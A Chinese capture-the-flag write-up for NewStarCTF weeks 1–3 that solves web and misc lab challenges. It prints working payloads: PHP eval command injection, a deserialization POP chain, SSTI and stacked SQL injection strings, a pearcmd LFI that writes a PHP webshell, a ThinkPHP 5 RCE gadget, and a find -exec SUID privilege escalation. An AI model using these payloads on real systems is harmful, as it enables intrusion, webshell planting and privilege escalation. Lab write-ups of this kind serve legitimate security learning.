Week1

Web

web1的http和web2的header,一个是getpost传参,另一个是改头

web3:我真的会谢

一道很典型和常规的信息泄露题,flag分成了三个部分

一个部分是vim泄露,访问.index.php.swp即可,不过这个文件打开发现不完整,需要修复

所以直接用vim -r即可

另一个部分是robots.txt

还有一个部分是www.zip里

web4:Notphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
echo "Hack Me";
eval("#".$_GET['cmd']);
}else{
die("Number error!");
}
}else{
die("Wrong Key!");
}
}else{
die("Pass it!");
}

可以看到这道题考了挺多的绕过,下面逐步分析

第一行if(file_get_contents($_GET[‘data’]) == “Welcome to CTF”){

这个是file_get_contents的绕过

file_get_contents()可以 把整个文件读入一个字符串中,该函数是用于把文件的内容读入到一个字符串中的首选方法。

然而file_get_contents($filename)$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL

所以我们可以利用data协议,用get方法令data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=即可

第二行if(md5($_GET[‘key1’]) === md5($_GET[‘key2’]) && $_GET[‘key1’] !== $_GET[‘key2’]){

md5函数强类型绕过,这里我们直接数组绕过,令key1[]=1&key2[]=2

第三行 if(!is_numeric($_POST[‘num’]) && intval($_POST[‘num’]) == 2077){

这边是is_numeric()函数的绕过

is_numeric() 函数会判断如果是数字和数字字符串则返回 TRUE,否则返回 FALSE

但是对于空字符%00,无论是%00放在前后都可以判断为非数值,所以令num=2077%00即可

第四行eval(“#”.$_GET[‘cmd’]);

好消息,我们可以eval我们的cmd参数了,坏消息,我们传入的cmd参数被#注释了

不过总归还是有方法,#毕竟只是个单行注释,所以我们直接用%0a换行即可

cmd=%0aeval(system(‘ls’));

当然,cd目录和ls看文件太麻烦了,我们可以用find命令

cmd=%0aeval(system(‘find / -name “flag*”’));

组合一下payload就出来了

思路二:

看别的师傅的wp看到的,可以用);来闭合前面,从而绕过那个#,然后再来一个eval()

思路三:

用?>注释掉#,然后在构造

web5 Word-For-You

这道题卡了我半天

我一开始用sqlmap,发现还真能注入,然后暴库,发现找不到flag

最后发现用万能密码,留言就直接有flag了

就挺麻的

misc

misc1的Yesec no drumsticks是一个很简单的lsb隐写

misc2的qsdz’s girlfriend是个加密压缩包,由于flag提示是flag{女朋友名字_女朋友生日}

压缩包里面又是一个图片

所以我大胆推测,生日就是压缩包密码,图片就是那个所谓女朋友

然后直接暴力破解得到生日,发现这个女朋友还是个二刺螈角色

百度识图即可,发现是Arcaea里的Hikari

我不了解Arcaea这个音游,但是芋头皮倒是挺喜欢的,还和我说过什么光和对立

不过这个压缩包具体咋破解的我倒是不太清楚,蹲一手wp

misc3的Look my eyes,提示为”请看着我沉默的眼睛“

题目名字和提示已经非常明显了,显然是silent eye隐写

顺带一提,我之前下的是老版,还不能破解这个,坑了我半天(气

misc5是个音频隐写,用的是sstv隐写,直接用手机软件robots36接收即可生成flag

misc4那个贪吃蛇小游戏,114分即可,我一百死了就不想玩了

给的是个jar程序,逆向可以写

用jd-gui可以打开那个jar,看了一下代码逻辑,重点在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
if (this.score >= 114) {
this.isStart = false;
final File tf = new File("./" + Data.o0o0o0o00 + Data.oo000o0o0o + Data.o0o0o0o00o0o + Data.o0o0o00oo0o0);
InputStream is = null;
OutputStream os = null;
try {
is = GamePanel.class.getResourceAsStream("/statics/1919810/114514");
os = new FileOutputStream(tf);
if (!tf.exists())
tf.createNewFile();
byte[] b = new byte[1024];
byte[] tmp = new byte[1024];
int data = is.read(b);
while (data != -1) {
for (int j = 0; j < data; j++)
tmp[j] = (byte)(b[j] ^ 0x58);
os.write(tmp, 0, data);
data = is.read(b);
}
JFrame jf = new JFrame("114514");
jf.setSize(600, 600);
jf.setResizable(false);
jf.setLocationRelativeTo((Component)null);
JPanel jp = new JPanel() {
protected void paintComponent(Graphics g) {
try {
Image bg = ImageIO.read(tf);
g.drawImage(bg, 0, 0, getWidth(), getHeight(), null);
} catch (IOException e) {
e.printStackTrace();
} finally {
tf.delete();
}
}
};

我们达到114分之后,文件114514会和0x58进行一次异或

所以我们把jar文件解压,把114514文件提取出来,和0x58异或一下,得到的文件就是玩游戏会获得的结果了

1
2
3
4
5
6
f=open('114514','rb')
enc=list(f.read())
for i in range(len(enc)):
enc[i]^=0x58
a=open('11','wb')
a.write(bytes(enc))

然后就获得了文件,发现是一个图片,打开之后是一个不完整的二维码

1665218717741

在ps里补全即可……

1665241583972

获得一个字符串

1
ZmxhZ3tZMHVfNHJlXzBuZV9vTmVfMG5FX3N0NFJ9

base64之后就可以获得flag了

Week2

Web

Word-For-You

一个很简单常规的报错注入

就不详细展示了

IncludeOne

点进去之后是个php脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
No Hacker!

文件包含了一个seed.php,看来第一步先需要爆破种子

题目给了一个网站,是php的mt_srand()的爆破脚本

下载之后是一个.c文件,我们在linux里gcc php_mt_seed.c即可

出来一个a.out
然后我们./a.out 1219893521

1665243506137

可以看到seed是1145146,然后我们写一个php脚本播种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>无标题文档</title>
</head>

<body>
<?PHP
mt_srand(1145146);
echo mt_rand();
echo "hhhhh";
echo mt_rand();
?>

</body>
</html>

本地跑了一下,出来是

1
939388007hhhhh1202031004

试了一下,post的guess是第二个才行,因为他随机了两次,所以我们也随机两次,而且用第二个结果

然后下一步就是绕过这里

1
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){

可以看到,我们传进去的file变量既需要出现NewStar,又不能出现base或者..
所以我们这样来绕过

1
?file=php://filter/read=string.rot13|NewStar/resource=flag.php

这里学到两个知识点
首先是,filter协议可以同时用多个解释器,所以可以同时用rot13的时候用NewStar解释器
其次是,在识别到不认识的解释器的时候,虽然会warning但是不会报错,而是忽略

在查看器里就能看到注释里的东西了

1
synt{0s6sn58r-so22-411q-9rp5-8p3os16417qn}

rot13解密之后就能获得flag了

UnserializeOne

一个反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}

首先我们要做的就是观察,我们的最终目的是调用哪个函数

1
echo file_get_contents('/flag');

这个函数很明显就是我们需要执行的函数

所以,我们的最终目的就是要调用Sec类的__invoke魔术方法,就能获得flag

1
2
3
4
public function __invoke()
{
echo file_get_contents('/flag');
}

下一步,我们要找到pop链的入口然后往下延申,或者是从目标函数反推

我们这里先逻辑上反推一下,要触发__invoke魔术方法,就得把对象当函数用

然后,在start类的__isset魔术方法中就有调用函数的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

如果令func属性实例化为Sec对象就可以触发这个__invoke

下面就是,如何触发这个__isset魔术方法

可以看到eeee类里面就触发了这个方法

1
2
3
4
5
6
7
8
9
10
class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

所以,我们只要调用__clone(),就可以调用isset

而在Easy类里面,就调用了clone()

1
2
3
4
5
6
7
8
9

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

所以,只要触发__call,就可以调用clone函数

__call()是在调用一个对象无法利用或者不存在的方法时触发,而我们可以看到,Sec类里就有一个从来都没出现的check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

所以,我们只要触发__toString方法即可

而__toString是类被当成字符串的时候的回应方法

可以看到,在Start类里,有个echo函数,就echo了一个名为name的属性,只要这个name是实例化的Sec对象,就可以触发这个魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

那就只要触发__destruct()方法……

那不是有手就行?

好嘞,入口找到了!

所以,我们第一步就是创建一个变量来实现Start类:

1
$s1eepingfish=new Start();

此时就会触发__destruct()函数

然后第二步就是利用echo $name触发__toString

1
$s1eepingfish->name = new Sec();

第三步,就是利用那个不存在的check函数来调用Easy类的__call方法,可以看到

1
2
3
4
5
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

调用的是obj的check函数,所以

1
$s1eepingfish->name->obj=new Easy();

调用call方法里的clone函数,可以看到之前的check函数,把name类里的var变量传了进去

所以第四步,我们令$var为eeee类的实例化

1
$s1eepingfish->name->var=new eeee();

然后clone函数又调用了Start类的isset方法

1
2
3
4
5
6
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}

所以第五步,我们令eeee类的obj为Start类的实例化

1
$s1eepingfish->name->var->obj=new Start();

由于isset方法为:

1
2
3
4
public function __isset($var)
{
($this->func)();
}

把func属性当函数用,func为Sec的实例化的时候就能调用Sec类的__invoke方法,从而获得flag

所以第六步,我们这样构造:

1
$s1eepingfish->name->var->obj->func=new Sec();

pop链构造好了,我们下面要做的就是把我们要利用类全都抄下来

注意:私有类属性无法在类外进行操作!所以我们得把属性全都改成公有属性

下面是获得序列化的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class Start{
public $name;
public $func;
}

class Sec{
public $obj;
public $var;
}

class Easy{
public $cla;
}

class eeee{
public $obj;
}
$s1eepingfish=new Start();
$s1eepingfish->name = new Sec();
$s1eepingfish->name->obj=new Easy();
$s1eepingfish->name->var=new eeee();
$s1eepingfish->name->var->obj=new Start();
$s1eepingfish->name->var->obj->func=new Sec();
echo serialize($s1eepingfish);
?>

本地上跑一下,就得到了payload

1
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}

post一个pop等于这个玩意,就成功获得flag了

ezAPI

1665313265584

第一次遇到API类的问题……

一开始无从下手,也不知道搜啥,不过后来给了个hint

1
源码泄漏、GraphQL

www.zip可以下载到源码倒是知道,然后搜了一下GraphQL

玩转graphQL (qq.com)

好像是官方文档GraphQL | A query language for your API

先看看源码吧

1665312794539

1
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';

从这一行可以发现,如果我们post进去一个data值,$data就是我们post的data变量,如果我们不去post,那$data就会等于后面这个玩意

后面的那个东西,格式有点类似于json,但是有非常多的 \n,这和大佬博客里说的GraphQL语句的特点不谋而合,

1665313199045

而且也可以看到,在send函数里面

1
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);

而如果我们试着在框里输出一个数字然后抓包,就会发现我们只传入了id,而没有传入data

1665313331631

在send函数中,我们的data会被直接放入数据中而没有怎么加以验证和过滤,所以我们可以构造graphQL语句来进行我们的查询

额,具体来说是抄了一下博客里的内省查询语句,至于为什么是这样,我看不懂……

1
{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

总之,令data等于这玩意,就能查询了

1665315523080

接下来就是怎么读这个接口的问题了

我们可以看看他是怎么读users的名字的:

1
{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}

相当于是查id为我们传入的id的users_user_by_pk这个对象(?)的name

那我们也照葫芦画瓢

1
{"query":"query{\nffffllllaaagggg_1n_h3r3_flag {\nflag\n}\n}\n", "variables":null}

令data等于这个,即可获得flag

misc

Yesec no drumsticks 2

解压压缩包之后,发现是一个文档

1
2
3
4
5
6
7
‌‌‌‌‌‬‌他本是皇城第一‌‌‌‌‌‍‬web‌‌‌‌‍‌‍‌‌‌‌‍‬‍天才‌‌‌‌‍‬‍,‌‌‌‌‍‌‌‍‌‌‌‌‍‍‬‬‌‌‌‌‌‌‬‌‌‌‌‍‍‍却被未婚妻设计毁去丹田‌‌‌‌‍‌‬‬,‌‌‌‌‍‬‬‍无法修行。
‌‌‌‌‌‌‬‌‌‌‌‍‬2021‌‌‌‌‍‌‌年的夏天‌‌‌‌‍‬‌,‌‌‌‌‍‬‌‌‌‌‌‍‍‌他小心翼翼地提着裤管,‌‌‌‌‍‌‌‌‌‌‍‬‍‌挂着黑眼圈‌‌‌‌‌‌‬,‌‌‌‌‌‬‌摇摇晃晃穿过校门‌‌‌‌‍‌‌,挤进了一所双非dai‌‌‌‌‍‌‌‬专。绝望之际‌‌‌‌‍‌‬,竟发现体内藏有一座‌‌‌‌‍‍‌‬‌‌‌‌‍‍‬‌‌‌‌‌‍‌‬‌‌‌‌‌‍‍‌‌web‌‌‌‌‍‌‌神墓!
‌‌‌‌‍‬‍‌‌‌‌‍‬‬‌‌‌‌‍‌‍‬‌‌‌‌‌‍‍十八道神秘墓碑‌‌‌‌‍‌‌‌‌‌‌‍‌‌‬,‌‌‌‌‍‬‬‌‌‌‌‌‬‌刻印着无上‌‌‌‌‍‬‍‬web‌‌‌‌‌‌‍‌‌‌‌‍‬‌绝学‌‌‌‌‍‌‍‍‌‌‌‌‍‬‬‍‌‌‌‌‍‬‬,墓中更有一道‌‌‌‌‍‍‍web神之魂‌‌‌‌‍‌‬‌‌‌‌‍‍‍‬‌‌‌‌‍‌‌,名为葬天‌‌‌‌‍‌‬!
从此之后,一个亘古未有的Yesec横空出世,‌‌‌‌‍‬‍‬‌‌‌‌‍‌‌威震九天‌‌‌‌‍‬‌!
他一统天下,‌‌‌‌‍‬‍‍横扫六个方向‌‌‌‌‌‌‬‌‌‌‌‍‌‌‌‌‌‌‍‌‍‌‌‌‌‍‌‬‌‌‌‌‌‍‍‬:‌‌‌‌‍‬‬‌web、‌‌‌‌‍‍‌‌‌‌‌‍‌‬‬‌‌‌‌‍‍‍‍‌‌‌‌‍‬‍‌re‌‌‌‌‍‬‬、‌‌‌‌‌‍crypto‌‌‌‌‍‌‌‌‌‌‌‍‌‬‌、misc‌‌‌‌‍‌‌、‌‌‌‌‍‌‬pwn、‌‌‌‌‍‌‍‍‌‌‌‌‍‍‍‬‌‌‌‌‍‬‬‌blockchain‌‌‌‌‍‌‍
烨王扫六合,‌‌‌‌‍‍‌‬虎视何雄哉。‌‌‌‌‍‍‍‬
‌‌‌‌‍‍‌‍书同文‌‌‌‌‍‍‬、‌‌‌‌‍‌‍‌‌‌‌‍‍车同轨、‌‌‌‌‍‍‍‌‌‌‌‌‌‬‌‌‌‌‌‍‌‬度同制、‌‌‌‌‌‍改币制、统一思想‌‌‌‌‍‌‬‬(‌‌‌‌‍‍‍‍PUA‌‌‌‌‍‬‍),‌‌‌‌‍‍‍‬‌‌‌‌‍‍‍Yesec首创皇帝制度,‌‌‌‌‍‌‍天下尊称起为‌‌‌‌‍‬‌‬Web始皇帝‌‌‌‌‍‬‬!‌‌‌‌‍‬‬‌‌‌‌‍‬‌‌‌‌‌‍‬‌‬

嗯……怎么说呢,这玩意一放到markdown文件里就一览无余了,很明显的零宽度隐写

其实在记事本里是长这样的

1665399653176

挺有内味的(doge

按左右键的时候,光标在上面有阻遏的感觉(?

hint也说的很清楚:YND2 hint:Yesec information: 160 height, 0 width

这边贴一个介绍零宽的博客:

零宽度字符隐写 | Lazzaro (lazzzaro.github.io)

所以我们直接去一个零宽度隐写在线解密网站即可:

Unicode Steganography with Zero-Width Characters (330k.github.io)

1665400200260

得到这样一个字符串:

1
86MygAZ2uJi2oCxctsd28LBNRXHPLykF5LBz8f1xEikWNVpKfpce2CMHvhSJUdk7CHLrEVhGRVQvMwT8r7JUgVWGbnzxb

尝试以后,发现先base58,再base16即可成功获得flag

Coldwinds’s Desktop

一个常规的拼图题

打开压缩包之后发现puzzle文件夹里面有多达144张图片

也就是12*12

那就把puzzle文件夹拖到linux的gaps-master文件夹里,在puzzle文件夹里使用命令

1
montage ./puzzle/*.PNG -tile 12x12 -geometry +0+0 flag02.png

然后在gaps-master文件夹里使用命令

1
gaps --image=flag02.png --size=30 --save 

注意这里的size是每个小图片的宽和高

1665400708392

然后就得到这样一张图片

1665400863443

大概能辨认出flag是

1
flag{Y0u_successfu11y_s01ved_the_puzz1e}

奇怪的二维码

奇怪的二维码,有多奇怪,听话,让我看看!(震声

1665407146533

开幕雷击

不过显然,这个二维码肯定不是QR码了

首先搜了一下,找到了一个网站免费在线条码生成器: PPN 条形码 (tec-it.com)

里面有一个Aztec码,长得还挺像我们这个的
1665407295862

那我们的任务就确定是补定位角了(虽然在中间

大手一挥,ps,来!

可以参照这个文章https://li-yang.cn/?p=632

新建参考线版面,然后大致大小和他差不多对齐,涂格子就完事了

1665408692097

1665409342508

涂格子的时候先用矩形框选工具选,然后在shift+f5来涂颜色,涂完大概就和上图差不多了

当然,也可以选择在网上找个定位角图片,然后p上去

在这个网站可以扫描在线阅读Aztec条码 (aspose.app)

然后获得flag

qsdz’s girlfriend 2

1665410658542

打开后是这个图片,给了n,a,b然后还有个条纹一样的乱码图

这里是猫脸变换(也叫Arnold变换

Arnold变换详解 - 简书 (jianshu.com)

这里贴一个猫映射脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from PIL import Image
path = r"F:\\3.杂项\\girlfriend.png"
img = Image.open(path)
if img.mode == "P":
img = img.convert("RGB")
assert img.size[0] == img.size[1]
dim = width, height = img.size
st = 0x61
a = 0x726e
b = 0x6f6c64
for _ in range(st):
with Image.new(img.mode, dim) as new_img:
for old_x in range(img.size[0]):
for old_y in range(img.size[0]):
y = (old_y - a*old_x) % width
x = ((a*b + 1)*old_x - b*old_y) % height
new_img.putpixel((y, x), img.getpixel((old_y, old_x)))
new_img.save(r'result.png')
new_img.show()

结果是

1665417486474

这个红点是因为变换后有那个n,a,b,逆变换后就打乱了

题目说flag{图片中的文字}

填进去即可

奇怪的波形

Coldwinds捕获到一段奇怪的波形,好像是某种加密算法的能量损耗,
你能帮他破译出加密算法的key吗?
flag:flag{key}

hint:本题无隐写,注意每轮加密时,波形与算法中的异同与联系

hint2:怎么分割波形图才能让它和加密算法产生关联

然后我们打开压缩包,发现一个波形的图片

1665469399146

然后有一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for (i = 0; i < 16; i++)
{
tmp = S * S;
S = tmp % N;
if (key[i] == 1)
{
tmp = S * m;
S = tmp % N;
}
else
{
tmp = S * S;
S = tmp % N;
}
}
return m, S;

可以看到程序跑了16轮加密,每轮都会运行一次

1
2
tmp = S * S;
S = tmp % N;

而key[i]为1时,和他不一样,会运行

1
2
tmp = S * m;
S = tmp % N;

key[i]为0时,会运行相同的脚本

1
2
tmp = S * S;
S = tmp % N;

由此分析可知,密钥为0时,该组中两次运算代码相同,波形也应该差不多
运算代码不同时,产生波形也不同

如果那些波形两两一组,刚好能16组,这里贴一张大佬制作的图

1665469755105

所以密钥key为0010001001100111

Week3

Web

BabySSTI_One

init,cat,flag被过滤了,不过还是一道很基本的ssti

1
name={{s1eepingfish.__getattribute__('__i'+'nit__').__globals__.__builtins__['__import__']('os').popen('tac /f*').read()}}

multiSQL

一道堆叠注入

1
火华';show databases;--+

数据库名是english

1
火华';show tables;--+

表名是score

1
火华';desc score;--+

获得score表下的所有字段

1
火华';replace into score values("火华",200,200,200);--+

插入一条记录

1
火华';delete from score where listen=11;--+

删除之前的记录

然后点验证,就能获得flag了

IncludeTwo

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
} Hacker!

又是一个php脚本,但这次没有思路

后来给了个hint,Pearcmd,于是去百度了一波

文件包含漏洞包含pearcmd.php - 无据 - 博客园 (cnblogs.com)

先get方法,达成本地文件包含,然后写入hello.php

1
http://9f2d8d7f-d76e-49ed-b502-25a43b05d1ed.node4.buuoj.cn:81/?file=?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?eval($_POST[a]);?>+/tmp/111.php

然后蚁剑连接即可

1
http://9f2d8d7f-d76e-49ed-b502-25a43b05d1ed.node4.buuoj.cn:81/?file=/tmp/111

Maybe You Have To think More

hint说:看看Cookie ThinkPHP 5框架反序列化RCE

cookie里有一段字符,base64之后是:

1
O:17:"first\second\user":2:{s:8:"username";s:1:"1";s:8:"password";N;}

想下载源码时,报错了,而且报错显示是

1665490221973

这里有个博客介绍了https://www.freebuf.com/vuls/263977.html

然后令cookie的tp_user等于这个

1
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=

然后随便传参数,比如flag=ls /

根目录还真有个flag,但是cat之后却是一个假flag

找了半天没找到,然后wpNEWSTARCTF2022-Web | 甜筒园 (ttycp3.github.io)说在env里

好的吧

misc

Whats HTTP

给了个流量包,显然是http协议的流量分析了

我们直接在ctrl f然后找包含200的

找到之后右键追踪流->http

1665501586977

把这个字符串base64

1
NjY2YzYxNjc3YjM0NjYzMzMzMzYzNDM5NjQzMDMzMzA2MzM2MzczNzM4MzQzMjM2MzkzNzMxNjIzNTM0NjQ2NDM3MzI2NTYzNjU3ZA==

然后得到

1
666c61677b34663333363439643033306336373738343236393731623534646437326563657d

再hex编码解码即可(666c61这个前缀显然是flag

1
flag{4f33649d030c6778426971b54dd72ece}

qsdz’s girlfriend 3

我们入侵了qsdz的服务器,你可以在服务器中找到他真实的女朋友吗?qsdz的用户密码是Hikari(请用SSH连接)

下面是hint

1
https://blog.csdn.net/sinat_28442665/article/details/115523792 用户名是qsdz密码是Hikari; qsdz讨厌ll指令,它会把秘密都暴露出来,包括权限位; 也许你用得上这个网站: https://gtfobins.github.io/

ok,下面就是先ssh连接进去服务器,连接之后,发现ls发现有flag

1666602424145

嗯……下面还是用xftp比较方便

1666602902677

在这个文件夹下面的log文件夹下面,发现了一大堆的舔狗日记

我的评价是感觉不如dw姐姐bot的*prprpr

1666603241284

这里倒是给我们提示了路径信息,虽然和刚刚直接cat flag效果差不多

可问题是我们只是个普通用户,没权限进入root,所以要想办法提权

然后,刚刚给我们的这个网站其实就是介绍了很多linux的提权方法

我们这里了解一下suid提权

SUID(Set User ID)是给予文件一个特殊类型的权限。具体作用就是把可执行程序所有者的权限赋予可执行程序,无论执行程序的是哪位用户,可执行程序都拥有它的所有者的权限。没有设置SUID位的程序,在运行时只能是执行权限,是当前用户的执行权限。

假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.

所以,我们下面只要做到找到suid的可执行文件,就可以利用这个文件来提权

1
2
3
4
//以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/del/null
find / -user root -perm -4000-exec ls -ldb {} \;

用这些方法不知道为什么在这道题都不行,第一条还会卡机然后导致断开ssh连接

不过我们用另一种方法提权

1666607172982

也就是在/tmp文件夹下面创建文件,然后find 文件名 -exec 命令 ;此时是有权限的

1666607249849

获得flag

suid提权可以参考一下简谈SUID提权 - FreeBuf网络安全行业门户

WebShell!

溯源攻击者窃取的文件内容!他用了蚁剑诶?
Flag格式为:flag{WebShell密码_黑客获取的用户名_机密文件内容}
例如flag{cmd_root_secret}

又是一个流量分析

Yesec no drumsticks 3

如果你愿意一层一层一层地剥开出题人的心…注:这是一道多选题

hint:一切内容都跟压缩包相关,除了压缩包还是压缩包,我来讲下面几个要点:

first不要用file指令;
second忽略extrafield的东西;
third你看到的已加密不一定是真的加密,你看到的未恢复密码不一定未恢复密钥;
fourth图片真的没用,不要再纠结图片了,是qsdz的恶趣味罢了;

题目提供了一个压缩包,里面有三个加密压缩包,三个任意破解一个即可获得flag

1666611585107

first

压缩包里有一个poem.txt和flag文件

1666611755475

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
我最喜欢的你啊
我不想你被他们所玷污‍​‌‍‎​‍‎
我不愿你被他们所了解
我不敢你知道我的爱意‎‎‎‎​‌‍‍
我只能如此笨拙
‌‌‌‎​‍‍​如此胆小
‌‎‎‎‍‍‌​‍‌​‌‎​‎​如此懦弱
我要努力隐藏住我的内心‌‌‍‌​‍‌‎
让这爱意不泄露‌‌‌‌‍​‍‍​‍​​​‌‎​​​​​‌‌‍‌
不泄露一分
​​​​‌‍‌‌​​​​‌‎​‎不泄露一丝
我爱你啊​​​​‌‍‌‌
但是我不敢言说​​​​‌‍​‎‍​‎‎‎‌‍​‌‍​‍​‌​‌
‍‌‎‍​‍​‌我只能保护着我那脆弱的内心
‍​​‌‌‎‎‎用着平凡的外壳还不够
​‍​​​‌‎‌要用坚硬的‍​​‎‍‎‌‎
要用陌生的
‌‌​‎‎‌‌‍要使大家都没办法轻易深入我的内心
我所爱的人
你知道吗‌‍​‎‎‌​​‌‎‍‌​‎‍‍
我为了你做了多大的努力啊
——佚名

很显然这边是有零宽隐写的

得到:彩蛋:在群里大喊“Yesec还我鸡腿”获取提示

emmm

一个嵌套题,不断改后缀然后解压

第一个flag其实是7z,解压之后,用010可以发现是zip后缀,然后继续解压,然后改成bz2后缀,然后再改成bz2后缀,这次解压后可以发现文件后面有这么一串

ZmxhZ3tJX3IzYWxseV9XYW50X3RPX2JlXzFJMUkxfQ==

ok,base64解密即可!

1666613783368

second

emmm暂时还没出来

third

1666614738090

说明直接爆破就ok

爆破出来是caiji

